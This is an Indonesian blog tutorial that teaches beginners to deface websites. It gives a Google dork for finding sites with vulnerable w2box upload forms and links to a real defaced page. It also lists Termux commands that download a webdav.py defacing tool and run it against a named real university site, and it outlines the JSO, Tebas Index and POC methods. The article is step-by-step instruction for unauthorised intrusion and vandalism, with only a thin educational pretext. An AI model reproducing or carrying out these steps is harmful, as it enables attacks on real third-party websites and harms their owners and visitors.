Untuk mengasah kemampuan hacking, tersedia banyak artikel tentang Cara Deface Website 2022 Untuk Pemula dan untuk itu Deuxly juga akan membagikan artikel tersebut.
Cara Deface berikut ini merupakan cara sederhana yang mana kita memanfaatkan celah sebuah website VULN / Rentan terhadap pembobolan.
Berbeda dengan hacker yang meretas situs website besar, karena metode ini sederhana bahkan siapapun bisa melakukan ini.
Berikut ini adalah beberapa metode deface yang akan kita gunakan:
- Webdav
- Tebas Index
- Jso
- Poc
Sebelum lanjut kita akan bahas sedikit tentang Apa Itu Deface ?
Apa Itu Deface Website ?
Deface Website adalah proses pengerjaan untuk merusak tampilan suatu website dengan cara merubah tampilan beranda atau menambahkan sebuah halaman baru pada website tersebut yang dilakukan oleh defacer (pelaku deface).
Tak sedikit orang yang penasaran bagaimana Cara Deface Website sehingga mencari berbagai Tutorial untuk bisa melakukan deface terhadap suatu website.
Lantas apa sih tujuan dari Deface Website ini ?
Apa Tujuan Melakukan Deface Website?
Media 707 juga telah melakukan searching ke beberapa sumber untuk mencari alasan Apa Tujuan Deface Website ini.
Ternyata bukan hanya untuk kejahatan melainkan untuk menguji kemampuan seseorang, Ingin diakui karena telah berhasil melakukan defacing, meminta bayaran karena telah meretas suatu situs, bahkan untuk kepuasan diri sendiri dan bangga karena bisa melakukan deface pada sebuah website.
Alih alih bangga karena berhasil meretas sebuah situs yang mana pada proses deface hanya hasil mengganti tulisan di dalam Script Deface yang sudah di upload.
Tapi untuk edukasi mungkin ini bisa menambah wawasan kita dalam dunia hacking bukan ? So, gausah ragu jika kamu di ejek oleh teman karena hanya bisa melakukan defacing.
Untuk itu, mari kita belajar dengan mengikuti panduan berikut ini.
Cara Deface Website 2022 Menggunakan Android
Untuk Proses pertama kita memilih Android karena gampang dan kebanyakan orang memiliki Smartphone. Bukan hanya Untuk Android, Jika kamu menggunakan PC tentu akan lebih mudah lagi Untuk melakukan kegiatan hacking ini. Terlebih kita hanya membutuhkan satu Browser yaitu Chrome.
Berikut, Step by Step nya
- Buka Browser dan Akses Google Untuk Mencari Website yang memiliki keamanan VULN
- Masukkan Dork “Kata Kunci” Untuk mencari Situs Web yang memiliki Celah.
- intext:powered by w2box.
- Pilih Situs yang ingin kita Deface. Semua situs yang kita cari menggunakan Dork tersebut memiliki celah untuk diretas.
- Upload Script Deface website Pada Form yang tersedia di situs yang ingin kita Deface.
- Bentuk file yang di upload bisa berupa gambar ataupun teks.
- Membuka halaman yang sudah kita deface dengan cara situstarget.com/data/NAMA-SCRIPT-DEFACE.
- Apabila berhasil maka tampilan halaman nya akan berubah dengan Script Deface yang sudah kita Upload.
Buatlah Script semenarik mungkin agar orang yang melihat kagum dengan Tampilan Deface yang kamu Upload.
Ini adalah contoh hasil deface di situs tersebut.
http://www.pixelindustry.co.nz/w2box/data//hacked-by-x-v-x.jpg
Selain Cara Sederhana di atas, ada juga Cara Deface Website Menggunakan Aplikasi Termux yang bisa di download melalui Play Store.
Bahkan menggunakan Termux terlihat seperti hacker sungguhan karena bermain dengan Kode.
Cara Deface Website Menggunakan Termux
Termux merupakan Aplikasi yang paling banyak digunakan untuk melakukan kegiatan hacking salah satu nya adalah Deface Website.
Note
Agar Proses Deface berjalan dengan lancar, Kamu harus menginstall Script Deface kemudian dijalankan untuk menemukan situs target dan memasukkan data seperti Script html dan Dork
Dibawah ini ada beberapa Script Deface yang Populer dan banyak digunakan untuk meretas situs dan yang paling populer adalah Webdav.
Cara Deface Menggunakan Webdav
Berikut ini langkah langkah yang harus kamu lakukan untuk deface menggunakan Webdav.
Silahkan ikuti panduan dibawah ini agar proses deface berjalan dengan lancar.
Menginstall Source Code Webdav di Termux
Pertama silahkan buka Aplikasi Termux yang sudah kamu install.
Masukkan Kode berikut pada Aplikasi Termux
pkg install wget python2 openssh libcurl openssl curlpip2 install urllib3 chardet certifi idna requestswget https://raw.githubusercontent.com/storiku/webdav/master/webdav.pyMasukkan kode tersebut satu per satu kemudian tekan Enter.
Menyiapkan Script Deface
Format Script Deface harus berupa .html agar halaman situs yang ingin kita retas berhasil menampilkan halaman seperti yang kita inginkan.
Untuk kalian yang sudah memiliki Script Deface .html silahkan pindahkan Script nya ke Folder apa pun asalkan berada di penyimpanan Internal.
Kemudian silahkan masuk lagi ke Aplikasi Termux dan ketikkan perintah sebagai berikut:
termux-setup-storagecp -f /sdcard/namascript.html $HOMENanti akan muncul Notifikasi kemudian Klik Izinkan.
Seperti yang Deuxly sebutkan di atas bahwa Script File Deface harus berupa .html agar Deface Berhasil.
Contoh nya seperti ini
cp -f /sdcard/deuxly.htlm $HOMEMenjalankan Script Webdav untuk Memulai Proses Deface
Masih berada di aplikasi termux, ketikkan perintah sebagai berikut,
python2 webdav.py webtarget scriptdefacedeuxly.htmlContoh nya bisa dilihat seperti kode dibawah ini.
python2 webdav.py https://lionpathsupport.psu.edu/ deuxlyscriptdeface.htmlTujuan mengetikkan perintah tersebut yaitu kita akan menjalankan Proses Deface pada Website yang akan dituju.
Maksudnya seperti ini, Perintah tersebut akan melakukan defacing ke web https://lionpathsupport.psu.edu/ dengan script deface deuxlyscriptdeface.html.
Apabila website target yang dituju bukan VULN maka website tersebut tidak bisa kita Deface
Seperti itulah Cara Deface Website menggunakan Webdav sangat mudah sekali bukan ? bahkan kita tidak memerlukan basic Coding untuk deface sebuah situs.
Berikut ini ada beberapa metode yang tersedia untuk Deface apa saja ? silahkan simak sampai bawah.
Berbagai Metode Deface Website
Cara Deface Menggunakan Tebas Index
Deface Tebas Index menggunakan Dork yang akan menampilkan Index berisi Folder serta File dari sebuah website. Index ini memiliki peran sebagai File Manager.
Deface Menggunakan JSO
Deface dengan JSO adalah Merupakan Cara Deface yang menggunakan Metode dengan memasukkan Script JSO ke halaman situs yang ingin kita retas.
Script JSO sendiri bisa kita buat dengan memanfaatkan Tools Jso Generator atau bisa juga dengan mendownload tools jso yang sudah ada di Internet.
Deface JSO Memanfaatkan Website yang menggunakan Form Pendaftaran yang mana rentan terhadap dengan JSO Query.
Deface dengan POC
Poc adalah metode deface situs yang menggunakan cara upload file dari halaman dashboard sebuah situs.
Format File yang digunakan bisa berupa .txt .php .html serta .jpg
Untuk bisa mengakses Dashboard situs, kita bisa menggunakan Dork CMS Situs yang memiliki Celah.
Cara Deface Situs Menggunakan Webdav
Deface webdav adalah sebuah metode deface yang memanfaatkan tools webdav. Tools Webdav ini bekerja untuk mencari situs yang memiliki vuln berdasarkan query webdav kemudian merubah tampilan visual berdasarkan script deface yang telah kita upload. Untuk menjalankan Webdav kita dapat memanfaatkan aplikasi termux.
Kesimpulan
itulah 4 Cara Deface Website yang paling mudah untuk dipraktekkan oleh pemula. Intinya, agar deface berhasil syarat nya adalah situs target yang akan kita retas harus vuln atau rentan dengan keamanan nya. Apabila website tidak menunjukkan vulnerability, apapun metodenya tidak akan berhasil jika kamu masih pemula dalam melakukan hacking.
Jika terdapat keraguan dan ingin menanyakan terkait Artikel ini, jangan sungkan untuk bertanya apapun di kolom komentar.